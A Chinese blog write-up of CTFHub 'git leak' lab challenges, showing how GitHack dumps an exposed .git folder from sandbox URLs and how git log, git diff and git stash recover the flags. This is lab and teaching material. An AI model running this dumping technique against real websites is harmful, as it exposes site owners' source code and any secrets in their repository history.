[ctfhub] git 泄漏

题目描述

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。请尝试使用BugScanTeam的GitHack完成本题

git官方文档

git log

实验环境
这里使用的是Ubuntu 22.04.4 LTS 的环境

sudo apt install git
sudo apt install python3

拉取代码

git clone https://github.com/BugScanTeam/GitHack.git
cd GitHack/ #进入目录
python GitHack.py http://challenge-605a54e46515175b.sandbox.ctfhub.com:10800/.git/

出现报错

python: can't open file '/home/hhj/GitHack/http://challenge-605a54e46515175b.sandbox.ctfhub.com:10800/.git/': [Errno 2] No such file or directory

查阅资料得到是因为python版本不兼容导致的

sudo apt install python2

继续执行

python2 GitHack.py http://challenge-605a54e46515175b.sandbox.ctfhub.com:10800/.git/
[+] Clone Success. Dist File : /home/hhj/GitHack/dist/challenge-605a54e46515175b.sandbox.ctfhub.com_10800
cd dist/challenge-605a54e46515175b.sandbox.ctfhub.com_10800
git log
commit cb3528eb4245477e2b6c43ab85f13446eba7e9d4
Author: CTFHub <sandbox@ctfhub.com>
Date:   Mon Apr 22 10:09:07 2024 +0000

    add flag
    ....

进行对比

git diff cb3528eb4245477e2b6c43ab85f13446eba7e9d4

差异即为flag

git Stash

python2 GitHack.py http://challenge-f3c631239f09e6a9.sandbox.ctfhub.com:10800/.git/
git stash list #查看有哪些隐藏
git stash apply #应用隐藏存储默认第一个
hhj@tux:~/GitHack/dist/challenge-f3c631239f09e6a9.sandbox.ctfhub.com_10800$ ls
2546179176198.txt  50x.html  index.html
hhj@tux:~/GitHack/dist/challenge-f3c631239f09e6a9.sandbox.ctfhub.com_10800$ cat 2546179176198.txt 
ctfhub{24518008948c50ed36e7e4a2}

git Index

直接使用工具即可

posted @   Erfu  阅读(126)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!
点击右上角即可分享
微信分享提示